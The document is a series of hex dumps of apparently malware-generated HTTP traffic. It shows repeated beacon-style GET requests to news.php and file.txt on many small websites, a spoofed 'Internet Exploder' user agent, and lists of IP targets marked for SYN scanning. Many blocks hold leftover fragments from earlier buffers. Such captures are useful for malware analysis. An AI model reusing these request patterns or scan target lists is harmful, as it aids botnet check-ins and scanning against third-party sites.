0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61707469 7374656c 6c616e65   t: baptistellane
0x00000070 (00112)   742e7435 2e636f6d 2e62720d 0a0d0a2e   t.t5.com.br.....
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61726973 67757665 6e6c696b   t: barisguvenlik
0x00000070 (00112)   2e636f6d 0d0a0d0a 3a31343a 32322047   .com....:14:22 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20706f65 6d706f65 6d2e636f   ost: poempoem.co
0x00000030 (00048)   6d0d0a41 63636570 743a202a 2f2a0d0a   m..Accept: */*..
0x00000040 (00064)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000050 (00080)   650d0a55 7365722d 4167656e 743a204d   e..User-Agent: M
0x00000060 (00096)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000070 (00112)   61746962 6c653b20 4d534945 20352e30   atible; MSIE 5.0
0x00000080 (00128)   3b205769 6e646f77 73203938 290d0a0d   ; Windows 98)...
0x00000090 (00144)   0a0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61727279 2e747269 6f64652e   t: barry.triode.
0x00000070 (00112)   6e65742e 61750d0a 0d0a2e31 31392e31   net.au.....119.1
0x00000080 (00128)   33302e32 3a38302c 3134312e 382e3232   30.2:80,141.8.22
0x00000090 (00144)   342e3235 3a38302c 34362e33 302e3231   4.25:80,46.30.21
0x000000a0 (00160)   312e3532 3a38302c 3130392e 3136382e   1.52:80,109.168.
0x000000b0 (00176)   3130392e 3232363a 38302c32 30312e33   109.226:80,201.3
0x000000c0 (00192)   332e3137 2e313136 3a38302c 38352e31   3.17.116:80,85.1
0x000000d0 (00208)   35392e36 362e363a 38302c32 30322e31   59.66.6:80,202.1
0x000000e0 (00224)   33312e32 352e3439 3a38302c 34362e33   31.25.49:80,46.3
0x000000f0 (00240)   302e3231 312e3535 3a38302c 7363616e   0.211.55:80,scan
0x00000100 (00256)   20747970 653a2053 594e                 type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20626172 6a6f732e 62650d0a   ost: barjos.be..
0x00000030 (00048)   41636365 70743a20 2a2f2a0d 0a436f6e   Accept: */*..Con
0x00000040 (00064)   6e656374 696f6e3a 20636c6f 73650d0a   nection: close..
0x00000050 (00080)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000060 (00096)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000070 (00112)   626c653b 204d5349 4520352e 303b2057   ble; MSIE 5.0; W
0x00000080 (00128)   696e646f 77732039 38290d0a 0d0a       indows 98)....

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61737361 6e6f726f 6d616e6f   t: bassanoromano
0x00000070 (00112)   2e616c74 65727669 7374612e 6f72670d   .altervista.org.
0x00000080 (00128)   0a0d0a32 3a38302c 3134312e 382e3232   ...2:80,141.8.22
0x00000090 (00144)   342e3235 3a38302c 34362e33 302e3231   4.25:80,46.30.21
0x000000a0 (00160)   312e3532 3a38302c 3130392e 3136382e   1.52:80,109.168.
0x000000b0 (00176)   3130392e 3232363a 38302c32 30312e33   109.226:80,201.3
0x000000c0 (00192)   332e3137 2e313136 3a38302c 38352e31   3.17.116:80,85.1
0x000000d0 (00208)   35392e36 362e363a 38302c32 30322e31   59.66.6:80,202.1
0x000000e0 (00224)   33312e32 352e3439 3a38302c 34362e33   31.25.49:80,46.3
0x000000f0 (00240)   302e3231 312e3535 3a38302c 7363616e   0.211.55:80,scan
0x00000100 (00256)   20747970 653a2053 594e                 type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61746f72 792e686f 6d652e70   t: batory.home.p
0x00000070 (00112)   6c0d0a0d 0a727669 7374612e 6f72670d   l....rvista.org.
0x00000080 (00128)   0a0d0a32 3a38302c 3134312e 382e3232   ...2:80,141.8.22
0x00000090 (00144)   342e3235 3a38302c 34362e33 302e3231   4.25:80,46.30.21
0x000000a0 (00160)   312e3532 3a38302c 3130392e 3136382e   1.52:80,109.168.
0x000000b0 (00176)   3130392e 3232363a 38302c32 30312e33   109.226:80,201.3
0x000000c0 (00192)   332e3137 2e313136 3a38302c 38352e31   3.17.116:80,85.1
0x000000d0 (00208)   35392e36 362e363a 38302c32 30322e31   59.66.6:80,202.1
0x000000e0 (00224)   33312e32 352e3439 3a38302c 34362e33   31.25.49:80,46.3
0x000000f0 (00240)   302e3231 312e3535 3a38302c 7363616e   0.211.55:80,scan
0x00000100 (00256)   20747970 653a2053 594e                 type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 2062696c 6c617264 2d38382e   ost: billard-88.
0x00000030 (00048)   63680d0a 41636365 70743a20 2a2f2a0d   ch..Accept: */*.
0x00000040 (00064)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x00000050 (00080)   73650d0a 55736572 2d416765 6e743a20   se..User-Agent: 
0x00000060 (00096)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000070 (00112)   70617469 626c653b 204d5349 4520352e   patible; MSIE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 61796f6e 70656172 6e696b2e   t: bayonpearnik.
0x00000070 (00112)   636f6d0d 0a0d0a3b 204d5349 4520352e   com....; MSIE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 626c6f67 2e616c74 65727669   t: bblog.altervi
0x00000070 (00112)   7374612e 6f72670d 0a0d0a49 4520352e   sta.org....IE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 65616368 72756762 79666573   t: beachrugbyfes
0x00000070 (00112)   74697661 6c2e636f 6d0d0a0d 0a20352e   tival.com.... 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e62 65617570 6572736f   t: www.beauperso
0x00000070 (00112)   6e616c73 74796c69 6e672e62 650d0a0d   nalstyling.be...
0x00000080 (00128)   0a0c5002                              ..P.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20616e69 6d616769 632e6772   ost: animagic.gr
0x00000030 (00048)   0d0a4163 63657074 3a202a2f 2a0d0a43   ..Accept: */*..C
0x00000040 (00064)   6f6e6e65 6374696f 6e3a2063 6c6f7365   onnection: close
0x00000050 (00080)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x00000060 (00096)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x00000070 (00112)   7469626c 653b204d 53494520 352e303b   tible; MSIE 5.0;
0x00000080 (00128)   2057696e 646f7773 20393829 0d0a0d0a    Windows 98)....
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 65617574 79776f6d 616e2e73   t: beautywoman.s
0x00000070 (00112)   6b0d0a0d 0a3b204d 53494520 352e303b   k....; MSIE 5.0;
0x00000080 (00128)   2057696e 646f7773 20393829 0d0a0d0a    Windows 98)....
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 6562656c 65637472 6f6e6963   t: bebelectronic
0x00000070 (00112)   732e636f 6d0d0a0d 0a362e31 34322e32   s.com....6.142.2
0x00000080 (00128)   34373a38 302c3230 382e3131 332e3234   47:80,208.113.24
0x00000090 (00144)   302e3133 313a3830 2c313736 2e392e31   0.131:80,176.9.1
0x000000a0 (00160)   34302e37 333a3830 2c323133 2e313836   40.73:80,213.186
0x000000b0 (00176)   2e33332e 353a3830 2c36392e 34332e31   .33.5:80,69.43.1
0x000000c0 (00192)   36312e31 37393a38 302c3139 332e3233   61.179:80,193.23
0x000000d0 (00208)   392e3231 302e3232 323a3830 2c33372e   9.210.222:80,37.
0x000000e0 (00224)   392e3136 382e3237 3a38302c 36342e37   9.168.27:80,64.7
0x000000f0 (00240)   302e3139 2e313938 3a38302c 7363616e   0.19.198:80,scan
0x00000100 (00256)   20747970 653a2053 594e                 type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 6565696e 73696465 2e636f6d   t: beeinside.com
0x00000070 (00112)   0d0a0d0a 6d0d0a0d 0a362e31 34322e32   ....m....6.142.2
0x00000080 (00128)   34373a38 302c3230 382e3131 332e3234   47:80,208.113.24
0x00000090 (00144)   302e3133 313a3830 2c313736 2e392e31   0.131:80,176.9.1
0x000000a0 (00160)   34302e37 333a3830 2c323133 2e313836   40.73:80,213.186
0x000000b0 (00176)   2e33332e 353a3830 2c36392e 34332e31   .33.5:80,69.43.1
0x000000c0 (00192)   36312e31 37393a38 302c3139 332e3233   61.179:80,193.23
0x000000d0 (00208)   392e3231 302e3232 323a3830 2c33372e   9.210.222:80,37.
0x000000e0 (00224)   392e3136 382e3237 3a38302c 36342e37   9.168.27:80,64.7
0x000000f0 (00240)   302e3139 2e313938 3a38302c 7363616e   0.19.198:80,scan
0x00000100 (00256)   20747970 653a2053 594e                 type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 206e6576 6572796f 6e6e7a7a   ost: neveryonnzz
0x00000030 (00048)   2e77730d 0a416363 6570743a 202a2f2a   .ws..Accept: */*
0x00000040 (00064)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000050 (00080)   6f73650d 0a557365 722d4167 656e743a   ose..User-Agent:
0x00000060 (00096)   204d6f7a 696c6c61 2f342e30 2028636f    Mozilla/4.0 (co
0x00000070 (00112)   6d706174 69626c65 3b204d53 49452035   mpatible; MSIE 5
0x00000080 (00128)   2e303b20 57696e64 6f777320 3938290d   .0; Windows 98).
0x00000090 (00144)   0a0d0a64 3e0a2020 20203c74 69746c65   ...d>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 6565726c 65706c61 6e65742e   t: beerleplanet.
0x00000070 (00112)   62652e66 756e7069 632e6465 0d0a0d0a   be.funpic.de....
0x00000080 (00128)   2e303b20 57696e64 6f777320 3938290d   .0; Windows 98).
0x00000090 (00144)   0a0d0a64 3e0a2020 20203c74 69746c65   ...d>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 2062696e 6b612e70 6c0d0a41   ost: binka.pl..A
0x00000030 (00048)   63636570 743a202a 2f2a0d0a 436f6e6e   ccept: */*..Conn
0x00000040 (00064)   65637469 6f6e3a20 636c6f73 650d0a55   ection: close..U
0x00000050 (00080)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000060 (00096)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000070 (00112)   6c653b20 4d534945 20352e30 3b205769   le; MSIE 5.0; Wi
0x00000080 (00128)   6e646f77 73203938 290d0a0d 0a38290d   ndows 98)....8).
0x00000090 (00144)   0a0d0a64 3e0a2020 20203c74 69746c65   ...d>.    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 2062696f 6d6f7270 68646573   ost: biomorphdes
0x00000030 (00048)   6b2e636f 6d0d0a41 63636570 743a202a   k.com..Accept: *
0x00000040 (00064)   2f2a0d0a 436f6e6e 65637469 6f6e3a20   /*..Connection: 
0x00000050 (00080)   636c6f73 650d0a55 7365722d 4167656e   close..User-Agen
0x00000060 (00096)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x00000070 (00112)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x00000080 (00128)   20352e30 3b205769 6e646f77 73203938    5.0; Windows 98
0x00000090 (00144)   290d0a0d 0a0a2020 20203c74 69746c65   ).....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 65686170 70796275 66666574   t: behappybuffet
0x00000070 (00112)   2e636f6d 2e62720d 0a0d0a20 4d534945   .com.br.... MSIE
0x00000080 (00128)   20352e30 3b205769 6e646f77 73203938    5.0; Windows 98
0x00000090 (00144)   290d0a0d 0a0a2020 20203c74 69746c65   ).....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 656c6761 626f6f74 6c656773   t: belgabootlegs
0x00000070 (00112)   2e62650d 0a0d0a0d 0a0d0a20 4d534945   .be........ MSIE
0x00000080 (00128)   20352e30 3b205769 6e646f77 73203938    5.0; Windows 98
0x00000090 (00144)   290d0a0d 0a0a2020 20203c74 69746c65   ).....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 656c6c69 74616c69 612e646b   t: bellitalia.dk
0x00000070 (00112)   0d0a0d0a 0a0d0a0d 0a0d0a20 4d534945   ........... MSIE
0x00000080 (00128)   20352e30 3b205769 6e646f77 73203938    5.0; Windows 98
0x00000090 (00144)   290d0a0d 0a0a2020 20203c74 69746c65   ).....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 2062696f 72656d2e 69740d0a   ost: biorem.it..
0x00000030 (00048)   41636365 70743a20 2a2f2a0d 0a436f6e   Accept: */*..Con
0x00000040 (00064)   6e656374 696f6e3a 20636c6f 73650d0a   nection: close..
0x00000050 (00080)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000060 (00096)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000070 (00112)   626c653b 204d5349 4520352e 303b2057   ble; MSIE 5.0; W
0x00000080 (00128)   696e646f 77732039 38290d0a 0d0a3938   indows 98)....98
0x00000090 (00144)   290d0a0d 0a0a2020 20203c74 69746c65   ).....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e6b 667a6275 63682e64   t: www.kfzbuch.d
0x00000070 (00112)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e76 69646f6c 75746176   t: www.vidolutav
0x00000070 (00112)   6c612e63 6f6d0d0a 0d0a343a 33312047   la.com....4:31 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
